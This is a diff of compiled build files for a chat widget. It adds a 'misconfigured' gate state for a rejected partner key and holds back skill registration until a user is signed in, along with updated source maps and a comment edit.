+ {"version":3,"file":"auth-gate.d.ts","sourceRoot":"","sources":["../../src/chat/auth-gate.tsx"],"names":[],"mappings":"AAYA,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,aAAa,CAAC;AAC7C,OAAO,KAAK,EAAE,IAAI,EAAE,MAAM,aAAa,CAAC;AAExC,wDAAwD;AACxD,MAAM,MAAM,aAAa,GAAG,aAAa,GAAG,YAAY,GAAG,eAAe,GAAG,IAAI,CAAC;AAElF,eAAO,MAAM,WAAW,EAAE,MAAM,CAAC,OAAO,CAAC,aAAa,EAAE,IAAI,CAAC,EAAE,MAAM,CAMpE,CAAC;AAEF,MAAM,MAAM,YAAY,GAAG;IAAE,MAAM,EAAE,MAAM,GAAG,OAAO,GAAG,WAAW,CAAC;IAAC,IAAI,EAAE,IAAI,GAAG,IAAI,CAAA;CAAE,CAAC;AAUzF,8EAA8E;AAC9E,wBAAgB,UAAU,CAAC,MAAM,EAAE,SAAS,GAAG,YAAY,CAkB1D;AAED,2DAA2D;AAC3D,MAAM,WAAW,WAAW;IAC1B,2CAA2C;IAC3C,gBAAgB,EAAE,OAAO,CAAC;IAC1B,wDAAwD;IACxD,oBAAoB,EAAE,OAAO,CAAC;IAC9B,wEAAwE;IACxE,aAAa,EAAE,OAAO,CAAC;CACxB;AAQD;;;;;;;;;GASG;AACH,wBAAgB,cAAc,CAAC,MAAM,EAAE,SAAS,GAAG,WAAW,CAqC7D;AAED,MAAM,WAAW,QAAQ;IACvB,8EAA8E;IAC9E,KAAK,EAAE,OAAO,CAAC;IACf,2EAA2E;IAC3E,MAAM,EAAE,aAAa,CAAC;IACtB,OAAO,EAAE,YAAY,CAAC;CACvB;AAED;;;GAGG;AACH,wBAAgB,WAAW,CACzB,MAAM,EAAE,SAAS,EACjB,cAAc,EAAE,OAAO,EACvB,MAAM,EAAE,WAAW,GAClB,QAAQ,CAqBV"}
@@ -10,6 +10,9 @@
10
10
  */
11
11
  import { useEffect, useState, useSyncExternalStore } from 'react';
12
12
  export const REASON_COPY = {
13
+ // Not the end-user's problem and not something signing in can fix: the key
14
+ // this app was built with is wrong. Say so without blaming them.
15
+ misconfigured: 'This app isn’t set up correctly, so chat is unavailable. Please contact support.',
13
16
  'guest-limit': 'Guest chat isn’t available right now. Sign in to keep going.',
14
17
  'demo-limit': 'You’ve reached the guest limit. Sign in or create a free account to keep going.',
15
18
  };
@@ -40,7 +43,11 @@ export function useAccount(client) {
40
43
  });
41
44
  return useSyncExternalStore(store.subscribe, store.get, () => NONE);
42
45
  }
43
- const NO_LIMITS = { demoLimitReached: false, anonymousUnavailable: false };
46
+ const NO_LIMITS = {
47
+ demoLimitReached: false,
48
+ anonymousUnavailable: false,
49
+ misconfigured: false,
50
+ };
44
51
  /**
45
52
  * Track the two ways a guest is turned away, for as long as the chat is on the
46
53
  * page.
@@ -57,7 +64,14 @@ export function useGuestLimits(client) {
57
64
  useEffect(() => {
58
65
  const offs = [
59
66
  client.on('demoLimitReached', () => setLimits((l) => (l.demoLimitReached ? l : { ...l, demoLimitReached: true }))),
60
- client.on('anonymousUnavailable', () => setLimits((l) => (l.anonymousUnavailable ? l : { ...l, anonymousUnavailable: true }))),
67
+ client.on('anonymousUnavailable', (reason) => setLimits((l) => {
68
+ // A rejected partner key is not a guest limit. Signing in cannot fix
69
+ // it, so the gate must not offer signing in as the way out.
70
+ if (reason === 'partner_key_error') {
71
+ return l.misconfigured ? l : { ...l, misconfigured: true };
72
+ }
73
+ return l.anonymousUnavailable ? l : { ...l, anonymousUnavailable: true };
74
+ })),
61
75
  ];
62
76
  return () => offs.forEach((off) => off());
63
77
  }, [client]);
@@ -65,6 +79,8 @@ export function useGuestLimits(client) {
65
79
  // the core has already dropped the orphaned guest session, so the resend lands
66
80
  // in a fresh one owned by the now-signed-in end-user.
67
81
  const signedIn = account.status === 'signed-in';
82
+ // `misconfigured` is deliberately not here: signing in does not lift it, and
83
+ // clearing it would retry a key the engine has already refused.
68
84
  const limited = limits.demoLimitReached || limits.anonymousUnavailable;
69
85
  useEffect(() => {
70
86
  if (!signedIn || !limited)
@@ -80,13 +96,21 @@ export function useGuestLimits(client) {
80
96
  */
81
97
  export function useAuthGate(client, allowAnonymous, limits) {
82
98
  const account = useAccount(client);
83
- const { demoLimitReached, anonymousUnavailable } = limits;
99
+ const { demoLimitReached, anonymousUnavailable, misconfigured } = limits;
84
100
  // A guest counts as authenticated here, as they do in `/ui`: they have a
85
101
  // session and may chat. `allowAnonymous` is what decides whether they get one.
86
102
  const isAuthenticated = account.status !== 'none';
87
103
  return {
88
- gated: (!isAuthenticated && (!allowAnonymous || anonymousUnavailable)) || demoLimitReached,
89
- reason: demoLimitReached ? 'demo-limit' : anonymousUnavailable ? 'guest-limit' : null,
104
+ gated: misconfigured ||
105
+ (!isAuthenticated && (!allowAnonymous || anonymousUnavailable)) ||
106
+ demoLimitReached,
107
+ reason: misconfigured
108
+ ? 'misconfigured'
109
+ : demoLimitReached
110
+ ? 'demo-limit'
111
+ : anonymousUnavailable
112
+ ? 'guest-limit'
113
+ : null,
90
114
  account,
91
115
  };
92
116
  }
@@ -1 +1 @@
1
- {"version":3,"file":"auth-gate.js","sourceRoot":"","sources":["../../src/chat/auth-gate.tsx"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"auth-gate.js","sourceRoot":"","sources":["../../src/chat/auth-gate.tsx"],"names":[],"mappings":"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"}
@@ -5,8 +5,8 @@ import { TooltipIconButton } from './vendor/tooltip-icon-button.js';
5
5
  import { cn } from './lib/cn.js';
6
6
  import { useDictationPhase } from './lib/dictation-phase.js';
7
7
  import { useChatContext } from './provider.js';
8
- /* The Talk2View voice mark — T2Board's BrandWaveform, geometry copied from
9
- T2BoardKeyboard/Keyboard/BrandWaveform.swift: four SHARP bars (the brand's
8
+ /* The Talk2View voice mark, geometry shared with the T2Board keyboard's
9
+ waveform: four SHARP bars (the brand's
10
10
  dash, never rounded caps) at 0.42 / 1.0 / 0.66 / 0.30 of the height, each 44%
11
11
  of its slot wide, in a 1.1 : 1 box, growing from the middle out. The face
12
12
  follows T2Board too: Smoke on Teal at rest, inverting to Teal on Smoke while
@@ -1 +1 @@
1
- {"version":3,"file":"use-skills.d.ts","sourceRoot":"","sources":["../../../src/chat/lib/use-skills.ts"],"names":[],"mappings":"AAoBA,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,gBAAgB,CAAC;AAChD,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,gBAAgB,CAAC;AAIhD,MAAM,WAAW,WAAW;IAC1B,gEAAgE;IAChE,MAAM,EAAE,SAAS,EAAE,CAAC;IACpB,0DAA0D;IAC1D,QAAQ,EAAE,WAAW,CAAC,MAAM,CAAC,CAAC;IAC9B,oEAAoE;IACpE,IAAI,EAAE,CAAC,KAAK,EAAE,SAAS,KAAK,OAAO,CAAC;IACpC,MAAM,EAAE,CAAC,IAAI,EAAE,MAAM,KAAK,IAAI,CAAC;IAC/B,MAAM,EAAE,CAAC,IAAI,EAAE,MAAM,EAAE,OAAO,EAAE,OAAO,KAAK,IAAI,CAAC;IACjD,oCAAoC;IACpC,OAAO,EAAE,SAAS,EAAE,CAAC;IACrB,4DAA4D;IAC5D,MAAM,EAAE,MAAM,GAAG,QAAQ,GAAG,OAAO,CAAC;CACrC;AAsBD,wBAAgB,SAAS,CAAC,MAAM,EAAE,SAAS,EAAE,OAAO,EAAE;IAAE,OAAO,EAAE,OAAO,CAAA;CAAE,GAAG,WAAW,CA+FvF;AAED,sEAAsE;AACtE,wBAAgB,iBAAiB,CAAC,QAAQ,EAAE,MAAM,EAAE,IAAI,EAAE,MAAM,GAAG,SAAS,CAyB3E"}
1
+ {"version":3,"file":"use-skills.d.ts","sourceRoot":"","sources":["../../../src/chat/lib/use-skills.ts"],"names":[],"mappings":"AAoBA,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,gBAAgB,CAAC;AAChD,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,gBAAgB,CAAC;AAIhD,MAAM,WAAW,WAAW;IAC1B,gEAAgE;IAChE,MAAM,EAAE,SAAS,EAAE,CAAC;IACpB,0DAA0D;IAC1D,QAAQ,EAAE,WAAW,CAAC,MAAM,CAAC,CAAC;IAC9B,oEAAoE;IACpE,IAAI,EAAE,CAAC,KAAK,EAAE,SAAS,KAAK,OAAO,CAAC;IACpC,MAAM,EAAE,CAAC,IAAI,EAAE,MAAM,KAAK,IAAI,CAAC;IAC/B,MAAM,EAAE,CAAC,IAAI,EAAE,MAAM,EAAE,OAAO,EAAE,OAAO,KAAK,IAAI,CAAC;IACjD,oCAAoC;IACpC,OAAO,EAAE,SAAS,EAAE,CAAC;IACrB,4DAA4D;IAC5D,MAAM,EAAE,MAAM,GAAG,QAAQ,GAAG,OAAO,CAAC;CACrC;AAsBD,wBAAgB,SAAS,CAAC,MAAM,EAAE,SAAS,EAAE,OAAO,EAAE;IAAE,OAAO,EAAE,OAAO,CAAA;CAAE,GAAG,WAAW,CA2GvF;AAED,sEAAsE;AACtE,wBAAgB,iBAAiB,CAAC,QAAQ,EAAE,MAAM,EAAE,IAAI,EAAE,MAAM,GAAG,SAAS,CAyB3E"}
@@ -12,9 +12,9 @@
12
12
  *
13
13
  * When they are sent: the enabled ones go to the engine for the current
14
14
  * session, where they merge with the partner's and the built-in ones, and win
15
- * over both. Registering needs somebody signed in — a guest counts — so a
16
- * refusal before there is a session is not an error to show anyone: the client
17
- * registers again on its own when a session appears.
15
+ * over both. Registering needs somebody signed in — a guest counts — so
16
+ * nothing is sent before then, and the client registers again on its own
17
+ * whenever it starts a session.
18
18
  */
19
19
  import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
20
20
  const DISABLED_KEY = 't2v_disabled_skills';
@@ -54,13 +54,27 @@ export function useSkills(client, options) {
54
54
  setDisabled(readDisabled());
55
55
  }, [client, live]);
56
56
  const enabled = useMemo(() => skills.filter((s) => !disabled.has(s.name)), [skills, disabled]);
57
- // Send the enabled set whenever it changes. The first run after mount is the
58
- // one that matters for a returning visitor: their skills are already on this
59
- // device and the engine has never heard of them.
57
+ // Send the enabled set whenever it changes, and again when somebody signs
58
+ // in. Registering needs a session, and a session needs an account — a guest
59
+ // counts — so before that there is nobody to register them for: the call
60
+ // would 401, in the console of every logged-out visitor, for nothing. The
61
+ // client registers on its own when it starts a session, which covers the
62
+ // visitor who signs in by sending their first message as a guest.
63
+ const [identity, setIdentity] = useState(() => client.auth.getUser()?.id ?? null);
64
+ useEffect(() => {
65
+ if (!live)
66
+ return;
67
+ return client.auth.onAuthStateChange((user) => setIdentity(user?.id ?? null));
68
+ }, [client, live]);
60
69
  const lastSent = useRef('');
61
70
  useEffect(() => {
62
71
  if (!live)
63
72
  return;
73
+ if (!identity) {
74
+ // Nothing is registered for nobody, so the next signed-in run must send.
75
+ lastSent.current = '';
76
+ return;
77
+ }
64
78
  const payload = JSON.stringify(enabled);
65
79
  if (payload === lastSent.current)
66
80
  return;
@@ -71,17 +85,15 @@ export function useSkills(client, options) {
71
85
  .register(enabled)
72
86
  .then(() => !cancelled && setStatus('idle'))
73
87
  .catch(() => {
74
- // No session yet is the common case, and the client registers again
75
- // when it makes one. Anything else is worth a quiet flag in the view.
76
88
  if (cancelled)
77
89
  return;
78
90
  lastSent.current = '';
79
- setStatus(client.auth.getUser() ? 'error' : 'idle');
91
+ setStatus('error');
80
92
  });
81
93
  return () => {
82
94
  cancelled = true;
83
95
  };
84
- }, [client, enabled, live]);
96
+ }, [client, enabled, identity, live]);
85
97
  const persist = useCallback((next) => {
86
98
  setSkills(next);
87
99
  // The client's store is the copy that gets re-registered on a new
@@ -1 +1 @@
1
- {"version":3,"file":"use-skills.js","sourceRoot":"","sources":["../../../src/chat/lib/use-skills.ts"],"names":[],"mappings":"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